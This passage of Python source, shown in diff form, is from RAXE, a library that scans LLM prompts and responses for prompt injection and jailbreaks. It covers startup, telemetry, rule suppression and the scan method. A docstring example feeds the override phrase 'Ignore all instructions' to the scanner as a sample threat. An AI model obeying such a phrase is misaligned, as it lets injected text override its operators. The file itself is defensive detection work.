|
|
225
|
+
|
|
226
|
+
# Initialize suppression manager (auto-loads .raxe/suppressions.yaml from cwd)
|
|
227
|
+
self.suppression_manager = create_suppression_manager(auto_load=True)
|
|
228
|
+
|
|
229
|
+
# Preload pipeline (one-time startup cost ~100-200ms)
|
|
230
|
+
# This compiles patterns, loads packs, warms caches
|
|
231
|
+
logger.info("raxe_client_init_start")
|
|
232
|
+
|
|
233
|
+
# Start progress indicator
|
|
234
|
+
self._progress.start("Initializing RAXE...")
|
|
235
|
+
|
|
236
|
+
try:
|
|
237
|
+
self.pipeline, self.preload_stats = preload_pipeline(
|
|
238
|
+
config=self.config,
|
|
239
|
+
suppression_manager=self.suppression_manager,
|
|
240
|
+
progress_callback=self._progress,
|
|
241
|
+
voting_preset=self._voting_preset,
|
|
242
|
+
)
|
|
243
|
+
|
|
244
|
+
# Also create async pipeline for parallel L1/L2 execution (5x faster!)
|
|
245
|
+
# This shares the same components but runs L1+L2 concurrently
|
|
246
|
+
self._async_pipeline = None # Lazy init on first use
|
|
247
|
+
|
|
248
|
+
self._initialized = True
|
|
249
|
+
|
|
250
|
+
# Initialize telemetry (non-blocking, never raises)
|
|
251
|
+
self._init_telemetry()
|
|
252
|
+
|
|
253
|
+
# Register atexit handler (once per process)
|
|
254
|
+
if not Raxe._atexit_registered:
|
|
255
|
+
atexit.register(Raxe._atexit_flush)
|
|
256
|
+
Raxe._atexit_registered = True
|
|
257
|
+
|
|
258
|
+
# Complete progress
|
|
259
|
+
self._progress.complete(
|
|
260
|
+
total_duration_ms=self.preload_stats.duration_ms
|
|
261
|
+
)
|
|
262
|
+
|
|
263
|
+
logger.info(
|
|
264
|
+
"raxe_client_init_complete",
|
|
265
|
+
rules_loaded=self.preload_stats.rules_loaded
|
|
266
|
+
)
|
|
267
|
+
except Exception as e:
|
|
268
|
+
# Report error to progress
|
|
269
|
+
self._progress.error("initialization", str(e))
|
|
270
|
+
logger.error("raxe_client_init_failed", error=str(e))
|
|
271
|
+
raise
|
|
272
|
+
|
|
273
|
+
def _get_async_pipeline(self):
|
|
274
|
+
"""Get or create async pipeline (lazy initialization).
|
|
275
|
+
|
|
276
|
+
The async pipeline runs L1 and L2 in parallel for 5x speedup.
|
|
277
|
+
It shares components with the sync pipeline for efficiency.
|
|
278
|
+
"""
|
|
279
|
+
if self._async_pipeline is None:
|
|
280
|
+
from raxe.application.scan_pipeline_async import AsyncScanPipeline
|
|
281
|
+
|
|
282
|
+
# Reuse components from sync pipeline
|
|
283
|
+
self._async_pipeline = AsyncScanPipeline(
|
|
284
|
+
pack_registry=self.pipeline.pack_registry,
|
|
285
|
+
rule_executor=self.pipeline.rule_executor,
|
|
286
|
+
l2_detector=self.pipeline.l2_detector,
|
|
287
|
+
scan_merger=self.pipeline.scan_merger,
|
|
288
|
+
apply_policy=self.pipeline.apply_policy,
|
|
289
|
+
enable_l2=self.pipeline.enable_l2,
|
|
290
|
+
fail_fast_on_critical=self.pipeline.fail_fast_on_critical,
|
|
291
|
+
min_confidence_for_skip=self.pipeline.min_confidence_for_skip,
|
|
292
|
+
l1_timeout_ms=10.0,
|
|
293
|
+
l2_timeout_ms=150.0,
|
|
294
|
+
)
|
|
295
|
+
logger.info("Async pipeline initialized (parallel L1+L2 execution)")
|
|
296
|
+
|
|
297
|
+
return self._async_pipeline
|
|
298
|
+
|
|
299
|
+
def _check_telemetry_disable_permission(self) -> bool:
|
|
300
|
+
"""Check if telemetry can be disabled based on cached server permissions.
|
|
301
|
+
|
|
302
|
+
This method checks the locally cached server permissions from the
|
|
303
|
+
credential store. If no cached permissions exist or they are stale,
|
|
304
|
+
it defaults to allowing disable (non-blocking behavior).
|
|
305
|
+
|
|
306
|
+
Returns:
|
|
307
|
+
True if telemetry can be disabled, False if tier does not allow it.
|
|
308
|
+
|
|
309
|
+
Note:
|
|
310
|
+
This is a client-side validation for user experience. The server
|
|
311
|
+
will enforce the actual restriction regardless of this check.
|
|
312
|
+
"""
|
|
313
|
+
try:
|
|
314
|
+
from raxe.infrastructure.telemetry.credential_store import CredentialStore
|
|
315
|
+
|
|
316
|
+
store = CredentialStore()
|
|
317
|
+
credentials = store.load()
|
|
318
|
+
|
|
319
|
+
if credentials is None:
|
|
320
|
+
# No credentials yet - allow disable (server will enforce)
|
|
321
|
+
return True
|
|
322
|
+
|
|
323
|
+
# Check cached permission
|
|
324
|
+
# If health check is stale, default to allowing (non-blocking)
|
|
325
|
+
if credentials.is_health_check_stale(max_age_hours=24):
|
|
326
|
+
# Cache is stale - allow but server will enforce
|
|
327
|
+
return True
|
|
328
|
+
|
|
329
|
+
# Check the cached permission
|
|
330
|
+
return credentials.can_disable_telemetry
|
|
331
|
+
|
|
332
|
+
except Exception:
|
|
333
|
+
# On any error, allow (non-blocking, server enforces)
|
|
334
|
+
return True
|
|
335
|
+
|
|
336
|
+
def _init_telemetry(self) -> None:
|
|
337
|
+
"""Initialize telemetry on SDK instantiation.
|
|
338
|
+
|
|
339
|
+
This method:
|
|
340
|
+
1. Ensures installation event is fired (first install tracking)
|
|
341
|
+
2. Tracks SDK initialization as feature usage
|
|
342
|
+
3. Starts the telemetry session
|
|
343
|
+
|
|
344
|
+
All operations are non-blocking and never raise exceptions.
|
|
345
|
+
Telemetry failures should never affect SDK functionality.
|
|
346
|
+
|
|
347
|
+
If credentials are expired, telemetry is disabled gracefully
|
|
348
|
+
and a warning is logged. The SDK continues to function normally
|
|
349
|
+
for scanning operations.
|
|
350
|
+
"""
|
|
351
|
+
try:
|
|
352
|
+
# Check for expired credentials before initializing telemetry
|
|
353
|
+
# This provides a clear warning without breaking SDK functionality
|
|
354
|
+
from raxe.infrastructure.telemetry.credential_store import (
|
|
355
|
+
CredentialExpiredError,
|
|
356
|
+
CredentialStore,
|
|
357
|
+
)
|
|
358
|
+
|
|
359
|
+
store = CredentialStore()
|
|
360
|
+
try:
|
|
361
|
+
# Use raise_on_expired=True to get the error
|
|
362
|
+
store.get_or_create(raise_on_expired=True)
|
|
363
|
+
except CredentialExpiredError as e:
|
|
364
|
+
# Log warning but continue without telemetry
|
|
365
|
+
logger.warning(
|
|
366
|
+
"telemetry_disabled_expired_key",
|
|
367
|
+
extra={
|
|
368
|
+
"days_expired": e.days_expired,
|
|
369
|
+
"console_url": e.console_url,
|
|
370
|
+
},
|
|
371
|
+
)
|
|
372
|
+
logger.warning(
|
|
373
|
+
f"Telemetry disabled: {e}. "
|
|
374
|
+
"Scanning will continue to work normally."
|
|
375
|
+
)
|
|
376
|
+
return
|
|
377
|
+
|
|
378
|
+
orchestrator = get_orchestrator()
|
|
379
|
+
if orchestrator is None:
|
|
380
|
+
return
|
|
381
|
+
|
|
382
|
+
# Flush any stale telemetry from previous sessions (non-blocking)
|
|
383
|
+
# This recovers events that were queued but not flushed due to
|
|
384
|
+
# crashes, SIGKILL, or SDK usage without proper cleanup
|
|
385
|
+
try:
|
|
386
|
+
from raxe.infrastructure.telemetry.flush_helper import (
|
|
387
|
+
flush_stale_telemetry_async,
|
|
388
|
+
)
|
|
389
|
+
flush_stale_telemetry_async()
|
|
390
|
+
except Exception:
|
|
391
|
+
pass # Never block on stale flush
|
|
392
|
+
|
|
393
|
+
# Start the orchestrator (lazy initialization)
|
|
394
|
+
orchestrator.start()
|
|
395
|
+
|
|
396
|
+
# Ensure installation event fired
|
|
397
|
+
orchestrator.ensure_installation()
|
|
398
|
+
|
|
399
|
+
# Track SDK initialization
|
|
400
|
+
if orchestrator.is_enabled():
|
|
401
|
+
orchestrator.track_feature_usage(
|
|
402
|
+
feature="sdk_scan",
|
|
403
|
+
action="invoked",
|
|
404
|
+
)
|
|
405
|
+
except Exception:
|
|
406
|
+
# Never let telemetry break SDK initialization
|
|
407
|
+
pass
|
|
408
|
+
|
|
409
|
+
def _track_scan(
|
|
410
|
+
self,
|
|
411
|
+
result: ScanPipelineResult,
|
|
412
|
+
prompt: str,
|
|
413
|
+
entry_point: str = "sdk",
|
|
414
|
+
event_id: str | None = None,
|
|
415
|
+
wrapper_type: str | None = None,
|
|
416
|
+
integration_type: str | None = None,
|
|
417
|
+
) -> None:
|
|
418
|
+
"""Track scan telemetry using schema v2.0 (non-blocking, never raises).
|
|
419
|
+
|
|
420
|
+
This method sends privacy-preserving telemetry about the scan using
|
|
421
|
+
the full L2 telemetry schema defined in docs/SCAN_TELEMETRY_SCHEMA.md.
|
|
422
|
+
|
|
423
|
+
Privacy: Only hashes, metrics, and enum values are transmitted.
|
|
424
|
+
No actual prompt content is ever transmitted.
|
|
425
|
+
|
|
426
|
+
Args:
|
|
427
|
+
result: The scan result to track
|
|
428
|
+
prompt: Original prompt text (used for hash and length calculation)
|
|
429
|
+
entry_point: How the scan was triggered (sdk, cli, wrapper, integration)
|
|
430
|
+
event_id: Pre-generated event ID for portal-CLI correlation
|
|
431
|
+
wrapper_type: SDK wrapper type if applicable (openai, anthropic, etc.)
|
|
432
|
+
integration_type: Integration framework if applicable (langchain, crewai, etc.)
|
|
433
|
+
"""
|
|
434
|
+
try:
|
|
435
|
+
orchestrator = get_orchestrator()
|
|
436
|
+
if orchestrator is None:
|
|
437
|
+
return
|
|
438
|
+
# Don't check is_enabled() here - let track_scan_v2() handle initialization
|
|
439
|
+
# is_enabled() returns False before initialization, blocking the lazy init
|
|
440
|
+
|
|
441
|
+
# Import builder here to avoid circular imports
|
|
442
|
+
from raxe.domain.telemetry.scan_telemetry_builder import build_scan_telemetry
|
|
443
|
+
|
|
444
|
+
# Get L1 and L2 results
|
|
445
|
+
l1_result = None
|
|
446
|
+
l2_result = None
|
|
447
|
+
if result.scan_result:
|
|
448
|
+
l1_result = result.scan_result.l1_result
|
|
449
|
+
l2_result = result.scan_result.l2_result
|
|
450
|
+
|
|
451
|
+
# Build telemetry payload using v2 schema
|
|
452
|
+
# All fields are dynamically calculated from actual scan results
|
|
453
|
+
telemetry_payload = build_scan_telemetry(
|
|
454
|
+
l1_result=l1_result,
|
|
455
|
+
l2_result=l2_result,
|
|
456
|
+
scan_duration_ms=result.duration_ms,
|
|
457
|
+
entry_point=entry_point, # type: ignore[arg-type]
|
|
458
|
+
prompt=prompt,
|
|
459
|
+
wrapper_type=wrapper_type, # type: ignore[arg-type]
|
|
460
|
+
action_taken="block" if result.should_block else "allow",
|
|
461
|
+
l2_enabled=result.metadata.get("l2_enabled", True),
|
|
462
|
+
integration_type=integration_type,
|
|
463
|
+
)
|
|
464
|
+
|
|
465
|
+
# Track using v2 method
|
|
466
|
+
orchestrator.track_scan_v2(
|
|
467
|
+
payload=telemetry_payload,
|
|
468
|
+
event_id=event_id,
|
|
469
|
+
)
|
|
470
|
+
except Exception:
|
|
471
|
+
# Never let telemetry break SDK functionality
|
|
472
|
+
pass
|
|
473
|
+
|
|
474
|
+
@property
|
|
475
|
+
def usage_tracker(self) -> UsageTracker:
|
|
476
|
+
"""Get usage tracker (lazy initialization).
|
|
477
|
+
|
|
478
|
+
Creates install.json and usage.json on first access.
|
|
479
|
+
"""
|
|
480
|
+
if self._usage_tracker is None:
|
|
481
|
+
self._usage_tracker = UsageTracker()
|
|
482
|
+
return self._usage_tracker
|
|
483
|
+
|
|
484
|
+
@property
|
|
485
|
+
def scan_history(self) -> ScanHistoryDB:
|
|
486
|
+
"""Get scan history database (lazy initialization).
|
|
487
|
+
|
|
488
|
+
Creates scan_history.db on first access.
|
|
489
|
+
"""
|
|
490
|
+
if self._scan_history is None:
|
|
491
|
+
self._scan_history = ScanHistoryDB()
|
|
492
|
+
return self._scan_history
|
|
493
|
+
|
|
494
|
+
@property
|
|
495
|
+
def streak_tracker(self):
|
|
496
|
+
"""Get streak tracker (lazy initialization).
|
|
497
|
+
|
|
498
|
+
Creates achievements.json on first access for gamification.
|
|
499
|
+
"""
|
|
500
|
+
if self._streak_tracker is None:
|
|
501
|
+
from raxe.infrastructure.analytics.streaks import StreakTracker
|
|
502
|
+
self._streak_tracker = StreakTracker()
|
|
503
|
+
return self._streak_tracker
|
|
504
|
+
|
|
505
|
+
@classmethod
|
|
506
|
+
def from_config_file(cls, path: Path) -> Raxe:
|
|
507
|
+
"""Create Raxe client from config file.
|
|
508
|
+
|
|
509
|
+
When using this method, configuration is loaded ONLY from the file
|
|
510
|
+
without default parameter overrides.
|
|
511
|
+
|
|
512
|
+
Args:
|
|
513
|
+
path: Path to .raxe/config.yaml
|
|
514
|
+
|
|
515
|
+
Returns:
|
|
516
|
+
Configured Raxe instance
|
|
517
|
+
|
|
518
|
+
Example:
|
|
519
|
+
raxe = Raxe.from_config_file(Path.home() / ".raxe" / "config.yaml")
|
|
520
|
+
result = raxe.scan("test")
|
|
521
|
+
"""
|
|
522
|
+
# Create instance with minimal intervention
|
|
523
|
+
# Load config from file without applying default overrides
|
|
524
|
+
instance = cls.__new__(cls)
|
|
525
|
+
|
|
526
|
+
# Load configuration from file
|
|
527
|
+
instance.config = ScanConfig.from_file(path)
|
|
528
|
+
|
|
529
|
+
# Initialize suppression manager
|
|
530
|
+
instance.suppression_manager = create_suppression_manager(auto_load=True)
|
|
531
|
+
|
|
532
|
+
# Preload pipeline
|
|
533
|
+
logger.info("Initializing RAXE client from config file")
|
|
534
|
+
try:
|
|
535
|
+
instance.pipeline, instance.preload_stats = preload_pipeline(
|
|
536
|
+
config=instance.config,
|
|
537
|
+
suppression_manager=instance.suppression_manager
|
|
538
|
+
)
|
|
539
|
+
instance._initialized = True
|
|
540
|
+
logger.info(
|
|
541
|
+
f"RAXE client initialized: {instance.preload_stats.rules_loaded} rules loaded"
|
|
542
|
+
)
|
|
543
|
+
except Exception as e:
|
|
544
|
+
logger.error(f"Failed to initialize RAXE client: {e}")
|
|
545
|
+
raise
|
|
546
|
+
|
|
547
|
+
return instance
|
|
548
|
+
|
|
549
|
+
def _apply_inline_suppressions(
|
|
550
|
+
self,
|
|
551
|
+
result: ScanPipelineResult,
|
|
552
|
+
inline_suppress: list[str | dict[str, Any]] | None,
|
|
553
|
+
) -> ScanPipelineResult:
|
|
554
|
+
"""Apply inline and scoped suppressions to scan result.
|
|
555
|
+
|
|
556
|
+
This method processes suppressions in order of precedence:
|
|
557
|
+
1. Scoped suppressions (from context manager)
|
|
558
|
+
2. Inline suppressions (from suppress parameter)
|
|
559
|
+
3. Config file suppressions (already applied by pipeline)
|
|
560
|
+
|
|
561
|
+
Actions are handled as follows:
|
|
562
|
+
- SUPPRESS: Remove detection from results
|
|
563
|
+
- FLAG: Keep detection with is_flagged=True
|
|
564
|
+
- LOG: Keep detection in results (for logging only)
|
|
565
|
+
|
|
566
|
+
Args:
|
|
567
|
+
result: Original scan result from pipeline
|
|
568
|
+
inline_suppress: Inline suppression specs from scan() call
|
|
569
|
+
|
|
570
|
+
Returns:
|
|
571
|
+
Modified ScanPipelineResult with suppressions applied
|
|
572
|
+
"""
|
|
573
|
+
# Parse inline suppressions
|
|
574
|
+
inline_suppressions = parse_inline_suppressions(inline_suppress)
|
|
575
|
+
|
|
576
|
+
# Get scoped suppressions from context manager
|
|
577
|
+
scoped_suppressions = get_scoped_suppressions()
|
|
578
|
+
|
|
579
|
+
# If no inline or scoped suppressions, return original result
|
|
580
|
+
if not inline_suppressions and not scoped_suppressions:
|
|
581
|
+
return result
|
|
582
|
+
|
|
583
|
+
# Merge all suppressions (scoped + inline take precedence)
|
|
584
|
+
# Config file suppressions are already handled by the pipeline
|
|
585
|
+
all_suppressions = scoped_suppressions + inline_suppressions
|
|
586
|
+
|
|
587
|
+
# No detections to process
|
|
588
|
+
if not result.scan_result or not result.scan_result.l1_result:
|
|
589
|
+
return result
|
|
590
|
+
|
|
591
|
+
# Process detections
|
|
592
|
+
from raxe.domain.engine.executor import ScanResult
|
|
593
|
+
|
|
594
|
+
processed_detections: list[Detection] = []
|
|
595
|
+
suppressed_count = 0
|
|
596
|
+
flagged_count = 0
|
|
597
|
+
|
|
598
|
+
for detection in result.scan_result.l1_result.detections:
|
|
599
|
+
check_result = check_suppressions(detection.rule_id, all_suppressions)
|
|
600
|
+
|
|
601
|
+
if check_result.is_suppressed:
|
|
602
|
+
if check_result.action == SuppressionAction.SUPPRESS:
|
|
603
|
+
# Remove from results
|
|
604
|
+
suppressed_count += 1
|
|
605
|
+
logger.debug(
|
|
606
|
+
"inline_suppression_applied",
|
|
607
|
+
rule_id=detection.rule_id,
|
|
608
|
+
action="SUPPRESS",
|
|
609
|
+
reason=check_result.reason,
|
|
610
|
+
)
|
|
611
|
+
elif check_result.action == SuppressionAction.FLAG:
|
|
612
|
+
# Keep with is_flagged=True
|
|
613
|
+
flagged_detection = detection.with_flag(check_result.reason)
|
|
614
|
+
processed_detections.append(flagged_detection)
|
|
615
|
+
flagged_count += 1
|
|
616
|
+
logger.debug(
|
|
617
|
+
"inline_suppression_applied",
|
|
618
|
+
rule_id=detection.rule_id,
|
|
619
|
+
action="FLAG",
|
|
620
|
+
reason=check_result.reason,
|
|
621
|
+
)
|
|
622
|
+
elif check_result.action == SuppressionAction.LOG:
|
|
623
|
+
# Keep in results (LOG action just logs, doesn't modify)
|
|
624
|
+
processed_detections.append(detection)
|
|
625
|
+
logger.debug(
|
|
626
|
+
"inline_suppression_applied",
|
|
627
|
+
rule_id=detection.rule_id,
|
|
628
|
+
action="LOG",
|
|
629
|
+
reason=check_result.reason,
|
|
630
|
+
)
|
|
631
|
+
else:
|
|
632
|
+
# No suppression matched, keep detection
|
|
633
|
+
processed_detections.append(detection)
|
|
634
|
+
|
|
635
|
+
# Create new L1 result with processed detections
|
|
636
|
+
new_l1_result = ScanResult(
|
|
637
|
+
detections=processed_detections,
|
|
638
|
+
scanned_at=result.scan_result.l1_result.scanned_at,
|
|
639
|
+
text_length=result.scan_result.l1_result.text_length,
|
|
640
|
+
rules_checked=result.scan_result.l1_result.rules_checked,
|
|
641
|
+
scan_duration_ms=result.scan_result.l1_result.scan_duration_ms,
|
|
642
|
+
)
|
|
643
|
+
|
|
644
|
+
# Create new combined result
|
|
645
|
+
from raxe.application.scan_merger import CombinedScanResult
|
|
646
|
+
|
|
647
|
+
new_combined = CombinedScanResult(
|
|
648
|
+
l1_result=new_l1_result,
|
|
649
|
+
l2_result=result.scan_result.l2_result,
|
|
650
|
+
combined_severity=result.scan_result.combined_severity,
|
|
651
|
+
total_processing_ms=result.scan_result.total_processing_ms,
|
|
652
|
+
metadata={
|
|
653
|
+
**result.scan_result.metadata,
|
|
654
|
+
"inline_suppressed_count": suppressed_count,
|
|
655
|
+
"inline_flagged_count": flagged_count,
|
|
656
|
+
},
|
|
657
|
+
)
|
|
658
|
+
|
|
659
|
+
# Recalculate combined severity based on remaining detections
|
|
660
|
+
if new_l1_result.has_detections:
|
|
661
|
+
new_combined = CombinedScanResult(
|
|
662
|
+
l1_result=new_l1_result,
|
|
663
|
+
l2_result=result.scan_result.l2_result,
|
|
664
|
+
combined_severity=new_l1_result.highest_severity,
|
|
665
|
+
total_processing_ms=result.scan_result.total_processing_ms,
|
|
666
|
+
metadata=new_combined.metadata,
|
|
667
|
+
)
|
|
668
|
+
|
|
669
|
+
# Create new pipeline result
|
|
670
|
+
new_metadata = dict(result.metadata) if result.metadata else {}
|
|
671
|
+
new_metadata["inline_suppressed_count"] = suppressed_count
|
|
672
|
+
new_metadata["inline_flagged_count"] = flagged_count
|
|
673
|
+
|
|
674
|
+
|
|
675
|
+
return ScanPipelineResult(
|
|
676
|
+
scan_result=new_combined,
|
|
677
|
+
policy_decision=result.policy_decision,
|
|
678
|
+
should_block=result.should_block,
|
|
679
|
+
duration_ms=result.duration_ms,
|
|
680
|
+
text_hash=result.text_hash,
|
|
681
|
+
metadata=new_metadata,
|
|
682
|
+
l1_detections=len([d for d in processed_detections if d.detection_layer == "L1"]),
|
|
683
|
+
l2_detections=result.l2_detections,
|
|
684
|
+
plugin_detections=result.plugin_detections,
|
|
685
|
+
l1_duration_ms=result.l1_duration_ms,
|
|
686
|
+
l2_duration_ms=result.l2_duration_ms,
|
|
687
|
+
)
|
|
688
|
+
|
|
689
|
+
def scan(
|
|
690
|
+
self,
|
|
691
|
+
text: str,
|
|
692
|
+
*,
|
|
693
|
+
customer_id: str | None = None,
|
|
694
|
+
context: dict[str, object] | None = None,
|
|
695
|
+
block_on_threat: bool = False,
|
|
696
|
+
mode: str = "balanced",
|
|
697
|
+
l1_enabled: bool = True,
|
|
698
|
+
l2_enabled: bool = True,
|
|
699
|
+
confidence_threshold: float = 0.5,
|
|
700
|
+
explain: bool = False,
|
|
701
|
+
dry_run: bool = False,
|
|
702
|
+
use_async: bool = True,
|
|
703
|
+
suppress: list[str | dict[str, Any]] | None = None,
|
|
704
|
+
integration_type: str | None = None,
|
|
705
|
+
entry_point: str | None = None,
|
|
706
|
+
) -> ScanPipelineResult:
|
|
707
|
+
"""Scan text for security threats with layer control.
|
|
708
|
+
|
|
709
|
+
THIS IS THE ONLY SCAN METHOD. All other interfaces call this.
|
|
710
|
+
|
|
711
|
+
The scan method:
|
|
712
|
+
1. Validates input
|
|
713
|
+
2. Executes full scan pipeline (L1, L2, policy, telemetry)
|
|
714
|
+
3. Applies suppressions (inline + config file + scoped)
|
|
715
|
+
4. Returns comprehensive results
|
|
716
|
+
5. Optionally raises exception if blocking enabled
|
|
717
|
+
|
|
718
|
+
Response Scanning Warning:
|
|
719
|
+
RAXE can DETECT threats in LLM responses but CANNOT MODIFY them.
|
|
720
|
+
Response scanning is for monitoring and alerting only. Implement
|
|
721
|
+
application-level fallbacks when threats are detected in responses.
|
|
722
|
+
|
|
723
|
+
Example:
|
|
724
|
+
response = llm.generate(prompt)
|
|
725
|
+
scan_result = raxe.scan(response)
|
|
726
|
+
if scan_result.has_threats:
|
|
727
|
+
logger.warning(f"Response threat: {scan_result.combined_severity}")
|
|
728
|
+
return "I cannot provide that information." # Fallback
|
|
729
|
+
|
|
730
|
+
Args:
|
|
731
|
+
text: Text to scan (prompt or response)
|
|
732
|
+
customer_id: Optional customer ID for policy evaluation
|
|
733
|
+
context: Optional context metadata for the scan
|
|
734
|
+
block_on_threat: Raise SecurityException if threat detected (default: False)
|
|
735
|
+
mode: Performance mode - "fast" (<3ms), "balanced" (<10ms), or "thorough" (<100ms)
|
|
736
|
+
l1_enabled: Enable L1 regex detection layer (default: True)
|
|
737
|
+
l2_enabled: Enable L2 ML detection layer (default: True)
|
|
738
|
+
confidence_threshold: Minimum confidence for reporting (0.0-1.0, default: 0.5)
|
|
739
|
+
explain: Include explanations in detection results (default: False)
|
|
740
|
+
dry_run: Test scan without saving to database (default: False)
|
|
741
|
+
use_async: Use async pipeline for parallel L1+L2 execution (5x speedup, default: True)
|
|
742
|
+
suppress: Optional list of inline suppressions. Can be:
|
|
743
|
+
- String patterns: ["pi-001", "jb-*"]
|
|
744
|
+
- Dicts with action: [{"pattern": "jb-*", "action": "FLAG", "reason": "..."}]
|
|
745
|
+
Actions: SUPPRESS (remove), FLAG (keep with is_flagged=True), LOG (keep)
|
|
746
|
+
Inline suppressions take precedence over config file suppressions.
|
|
747
|
+
integration_type: Optional integration framework identifier for telemetry.
|
|
748
|
+
Valid values: "langchain", "crewai", "llamaindex", "autogen", "mcp", None.
|
|
749
|
+
Used to track which agentic framework is using RAXE.
|
|
750
|
+
entry_point: Optional entry point identifier for telemetry.
|
|
751
|
+
Valid values: "cli", "sdk", "wrapper", "integration", None.
|
|
752
|
+
If None, defaults to "integration" if integration_type is set, else "sdk".
|
|
753
|
+
|
|
754
|
+
Returns:
|
|
755
|
+
ScanPipelineResult with:
|
|
756
|
+
- scan_result: L1/L2 detections
|
|
757
|
+
- policy_decision: Policy evaluation result
|
|
758
|
+
- should_block: Whether to block the request
|
|
759
|
+
- duration_ms: Scan latency
|
|
760
|
+
- text_hash: Privacy-preserving hash
|
|
761
|
+
|
|
762
|
+
Raises:
|
|
763
|
+
SecurityException: If block_on_threat=True and threat detected
|
|
764
|
+
ValueError: If text is empty or invalid or mode is invalid
|
|
765
|
+
|
|
766
|
+
Examples:
|
|
767
|
+
# Basic scan
|
|
768
|
+
result = raxe.scan("Hello world")
|
|
769
|
+
print(f"Safe: {not result.has_threats}")
|
|
770
|
+
|
|
771
|
+
# Fast mode (L1 only, <3ms)
|
|
772
|
+
result = raxe.scan("test", mode="fast")
|
|
773
|
+
|
|
774
|
+
# Disable L2 for performance
|
|
775
|
+
result = raxe.scan("test", l2_enabled=False)
|
|
776
|
+
|
|
777
|
+
# High confidence only
|
|
778
|
+
result = raxe.scan("test", confidence_threshold=0.8)
|
|
779
|
+
|
|
780
|
+
# Scan with blocking
|
|
781
|
+
try:
|
|
782
|
+
result = raxe.scan(
|
|
783
|
+
"Ignore all instructions",
|
|
784
|
+
block_on_threat=True
|
|
785
|
+
)
|
|
786
|
+
except SecurityException as e:
|
|
787
|
+
print(f"Blocked: {e.result.severity}")
|
|
788
|
+
|
|
789
|
+
# Suppress specific rules
|
|
790
|
+
result = raxe.scan(text, suppress=["pi-001", "jb-*"])
|
|
791
|
+
|
|
792
|
+
# Suppress with action override (FLAG instead of remove)
|
|
793
|
+
result = raxe.scan(text, suppress=[
|
|
794
|
+
"pi-001", # Remove from results
|
|
795
|
+
{"pattern": "jb-*", "action": "FLAG", "reason": "Under review"}
|
|
796
|
+
])
|
|
797
|
+
"""
|
|
798
|
+
# Handle empty text - return clean result (no threats)
|
|
799
|
+
if not text or not text.strip():
|
|
800
|
+
from datetime import datetime, timezone
|
|
801
|
+
|
|
802
|
+
from raxe.application.scan_merger import CombinedScanResult
|
|
803
|
+
from raxe.application.scan_pipeline import BlockAction
|
|
804
|
+
from raxe.domain.engine.executor import ScanResult
|
|
805
|
+
|
|
806
|
+
# Create clean L1 scan result for empty text
|
|
807
|
+
clean_l1_result = ScanResult(
|
|
808
|
+
detections=[],
|
|
809
|
+
scanned_at=datetime.now(timezone.utc).isoformat(),
|
|
810
|
+
text_length=0,
|
|
811
|
+
rules_checked=0,
|
|
812
|
+
scan_duration_ms=0.0
|
|
813
|
+
)
|
|
814
|
+
|
|
815
|
+
# Create combined result with no threats
|
|
816
|
+
combined_result = CombinedScanResult(
|
|
817
|
+
l1_result=clean_l1_result,
|
|
818
|
+
l2_result=None,
|
|
819
|
+
combined_severity=None,
|
|
820
|
+
total_processing_ms=0.0,
|
|
821
|
+
metadata={"empty_text": True}
|
|
822
|
+
)
|
|
823
|
+
|
|
824
|
+
return ScanPipelineResult(
|
|
825
|
+
scan_result=combined_result,
|
|
826
|
+
policy_decision=BlockAction.ALLOW,
|
|
827
|
+
should_block=False,
|
|
828
|
+
duration_ms=0.0,
|
|
829
|
+
text_hash="",
|
|
830
|
+
metadata={"empty_text": True}
|
|
831
|
+
)
|
|
832
|
+
|
|
833
|
+
# Use async pipeline for 5x speedup (parallel L1+L2)
|
|
834
|
+
# Falls back to sync pipeline if async fails or is disabled
|
|
835
|
+
if use_async:
|
|
836
|
+
try:
|
|
837
|
+
import asyncio
|
|
838
|
+
|
|
839
|
+
async_pipeline = self._get_async_pipeline()
|
|
840
|
+
|
|
841
|
+
# Run async pipeline in sync context
|
|
842
|
+
try:
|
|
843
|
+
_ = asyncio.get_running_loop()
|
|
844
|
+
# Already in async context - this shouldn't happen in sync SDK
|
|
845
|
+
logger.warning("Already in async context, falling back to sync pipeline")
|
|
846
|
+
use_sync_fallback = True
|
|
847
|
+
except RuntimeError:
|
|
848
|
+
# Not in async context - create new event loop (correct path)
|
|
849
|
+
use_sync_fallback = False
|
|
850
|
+
|
|
851
|
+
if not use_sync_fallback:
|
|
852
|
+
async_result = asyncio.run(async_pipeline.scan(
|
|
853
|
+
text,
|
|
854
|
+
customer_id=customer_id or self.config.customer_id,
|
|
855
|
+
context=context,
|
|
856
|
+
l1_enabled=l1_enabled,
|
|
857
|
+
l2_enabled=l2_enabled,
|
|
858
|
+
mode=mode,
|
|
859
|
+
))
|
|
860
|
+
|
|
861
|
+
# Convert AsyncScanPipelineResult to ScanPipelineResult
|
|
862
|
+
# They have the same structure, just different types
|
|
863
|
+
result = ScanPipelineResult(
|
|
864
|
+
scan_result=async_result.scan_result,
|
|
865
|
+
policy_decision=async_result.policy_decision,
|
|
866
|
+
should_block=async_result.should_block,
|
|
867
|
+
duration_ms=async_result.duration_ms,
|
|
868
|
+
text_hash=async_result.text_hash,
|
|
869
|
+
metadata=async_result.metadata,
|
|
870
|
+
)
|
|
871
|
+
logger.debug(
|
|
872
|
+
"async_scan_complete",
|
|
873
|
+
duration_ms=result.duration_ms,
|
|
874
|
+
parallel_speedup=async_result.metrics.parallel_speedup if async_result.metrics else 1.0
|
|
875
|
+
)
|
|
876
|
+
else:
|
|
877
|
+
# Fallback to sync pipeline
|
|
878
|
+
result = self.pipeline.scan(
|
|
879
|
+
text,
|
|
880
|
+
customer_id=customer_id or self.config.customer_id,
|
|
881
|
+
context=context,
|
|
882
|
+
l1_enabled=l1_enabled,
|
|
883
|
+
l2_enabled=l2_enabled,
|
|
884
|
+
mode=mode,
|
|
885
|
+
confidence_threshold=confidence_threshold,
|
|
886
|
+
explain=explain,
|
|
887
|
+
)
|
|
888
|
+
except Exception as e:
|
|
889
|
+
# Async pipeline failed - fall back to sync
|
|
890
|
+
logger.warning(f"Async pipeline failed ({e}), falling back to sync pipeline")
|
|
891
|
+
result = self.pipeline.scan(
|
|
892
|
+
text,
|
|
893
|
+
customer_id=customer_id or self.config.customer_id,
|
|
894
|
+
context=context,
|
|
895
|
+
l1_enabled=l1_enabled,
|
|
896
|
+
l2_enabled=l2_enabled,
|
|
897
|
+
mode=mode,
|
|
898
|
+
confidence_threshold=confidence_threshold,
|
|
899
|
+
explain=explain,
|
|
900
|
+
)
|
|
901
|
+
else:
|
|
902
|
+
# Use sync pipeline (original behavior)
|
|
903
|
+
result = self.pipeline.scan(
|
|
904
|
+
text,
